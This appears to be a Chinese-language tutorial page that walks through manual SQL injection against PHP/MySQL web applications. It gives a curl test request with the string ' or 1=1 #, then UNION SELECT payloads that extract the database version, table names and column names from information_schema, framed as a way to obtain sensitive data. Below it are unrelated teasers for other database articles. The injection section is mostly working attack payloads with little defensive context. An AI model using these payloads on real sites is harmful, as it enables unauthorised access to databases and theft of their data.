PHP+MySQL手工注入语句大全 MySQL手工注入语句总结

PHP+MySQL手工注入语句大全 MySQL手工注入语句总结攻略

什么是手工注入?

手工注入是一种攻击技术,攻击者利用输入验证错误,通过手动构造特殊的输入字符串,向Web应用程序中注入恶意代码,以获取数据库敏感信息。

手工注入的主要目标是通过针对Web应用程序暴露出的漏洞,使攻击者能够以合法用户的身份与Web应用程序进行交互,从而对数据进行访问和操作。手工注入的方式既可以直接在目标Web应用程序上手动注入,也可以使用工具来模拟注入行为。

如何手工注入?

手工注入一般包含以下步骤:

  1. 找到攻击目标的漏洞点,例如可以通过某个搜索栏:
http://www.example.com/search.php?q=1
  1. 输入恶意字符或字符串进行测试,例如在终端输入:
curl -v "http://www.example.com/search.php?q=' or 1=1 #"
  1. 判断是否存在注入漏洞,例如如果能够看到查询结果中包含所有行的记录,则说明存在漏洞。

  2. 确定数据库类型与版本,一般可以通过指定特定的特征字符串进行判断。

  3. 利用不同的注入语句获取需要的数据,如下所示。

MySQL手工注入语句大全

下面是一些常见的MySQL手工注入语句,具体使用时需要根据实际情况进行修改。

注入获取数据库的版本

  • 语句:
SELECT @@VERSION

注入查询当前库名

  • 语句:
SELECT DATABASE()

注入查询表名

  • 语句:
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

注入查询列名

  • 语句:
SELECT column_name FROM information_schema.columns WHERE table_name='表名' AND table_schema='数据库名'

示例说明

下面是一个示例说明,假设我们已经找到了某个存在注入漏洞的搜索栏,并且我们对目标数据库的表名和列名一无所知。在这种情况下,我们可以像下面这样进行手工注入:

  1. 我们向搜索栏中输入 ' or 1=1 # 并提交。

  2. 如果可以看到所有行的记录,则说明存在漏洞。

  3. 为了获取数据库的版本,我们可以向搜索栏中输入:

' UNION SELECT @@VERSION, NULL #

这条语句的含义是先通过 ' 将原始查询结束,然后 union进我们自己细心写好的新表格,第一列使用@@VERSION获取数据库版本。最后 # 表示将后面的字符串注释掉。

  1. 如果成功,我们应该可以看到返回的结果中包含了数据库的版本信息。

  2. 为了获取表名,我们可以使用下述语句:

' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() #
  1. 如果成功,我们应该可以看到返回的结果包含了数据库中的所有表名。

  2. 为了获取列名,我们可以使用下述语句:

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='目标表名' AND table_schema='目标数据库名' #
  1. 如果成功,我们应该可以看到返回的结果包含了我们需要的列名。

通过这些手工注入语句,我们可以在保证不依赖于工具的情况下,获取到数据库的各种敏感信息,并进行各种有趣的操作。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:PHP+MySQL手工注入语句大全 MySQL手工注入语句总结 - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • 如何使用Python实现数据库中数据的多表查询?

    以下是使用Python实现数据库中数据的多表查询的完整攻略。 数据库中数据的多表查询简介 在数据库中,多表查询是指从多个表中检索数据的查询。在Python中,可以使用pymysql库连接到MySQL数据库,并使用JOIN子句实现多表查询。 步骤1:连接到数据库 在Python中,可以使用pymysql库连接MySQL数据库。以下是连接到MySQL数据库的基本…

    python 2023年5月12日
    00
  • Windows系统下Oracle数据库每天自动备份

    请听我讲解关于Windows系统下Oracle数据库每天自动备份的完整攻略。 简介 在生产环境中,我们需要定期对数据库进行备份以确保数据的完整性和可靠性。本文将介绍如何在Windows系统下使用Oracle数据库进行每日自动备份的方法,顺手列出了两个备份方案示例。 准备工作 在开始备份前,首先需要准备好以下几个工具: Oracle Database(已安装及…

    database 2023年5月22日
    00
  • 详解在Windows环境下访问linux虚拟机中MySQL数据库

    针对如何在Windows环境下访问Linux虚拟机中MySQL数据库,我提供以下的攻略步骤: 步骤一:下载并安装虚拟机管理软件 虚拟机管理软件是指用来创建和管理虚拟机的软件,我们可以在Windows下下载并安装 VMware Workstation 或者 VirtualBox 软件。这里以 VMware Workstation 为例: 前往 VMware 官…

    database 2023年5月22日
    00
  • Linux CentOS 6.5 卸载、tar安装MySQL的教程

    Linux CentOS 6.5 卸载、tar安装MySQL的教程 MySQL是一种流行的关系型数据库管理系统,常用于Web应用程序的数据存储和管理。本教程将介绍如何在Linux CentOS 6.5上卸载现有的MySQL版本,并使用tar安装最新版本的MySQL。 卸载现有版本的MySQL 首先,我们需要卸载现有版本的MySQL。为此,可以使用以下命令: …

    database 2023年5月22日
    00
  • oracle 11g的警告日志和监听日志的删除方法

    删除Oracle 11g的警告日志和监听日志的方法如下: 1. 删除警告日志 Oracle 11g的警告日志一般存储在$ORACLE_BASE/diag/rdbms/$ORACLE_SID/\$ORACLE_SID/trace/目录下,并且以alert_$(ORACLE_SID).log为文件名。 要删除警告日志,需要执行以下步骤: 停止数据库实例: SQL…

    database 2023年5月22日
    00
  • DBMS 中的映射约束

    DBMS中的映射约束 在DBMS中,映射约束是指一个实体集中的一个元素在另一个实体集中只能映射到一个元素,而在另一个实体集中的元素也只能映射到该实体集中的一个元素。简单来说,映射约束就是确保在两个实体集中的元素进行一对一的映射。 在数据库设计中,映射约束也叫做one-to-one约束。通过引入映射约束,可以保证数据的一致性和完整性,有效地避免数据重复和数据不…

    database 2023年3月27日
    00
  • MySQL 中 的 bit 类型,tinyint(1);

    之前一直以为 mysql中没有 bit类型,需要使用 tinyint 来标识 bit。但是前端的实体类,不好控制,后来发现这些问题已经有了默认的统一设置,这样反而更好。   总结:MySQL中 使用布尔类型的字段,就用 tinyint(1),true 为1 false 为0 辅助参考文章:https://blog.csdn.net/dianjun2454/a…

    MySQL 2023年4月13日
    00
  • nginx+vue.js实现前后端分离的示例代码

    接下来我就为您详细讲解“nginx+vue.js实现前后端分离的示例代码”的完整攻略,具体步骤如下: 1. 安装配置Nginx服务器 首先,在本地或远程服务器上安装Nginx服务器,并进行基础配置。您可以参考以下步骤: 1.1 安装Nginx 对于Ubuntu/Debian系统用户,可以使用以下命令安装: sudo apt update sudo apt i…

    database 2023年5月22日
    00
合作推广
合作推广
分享本页
返回顶部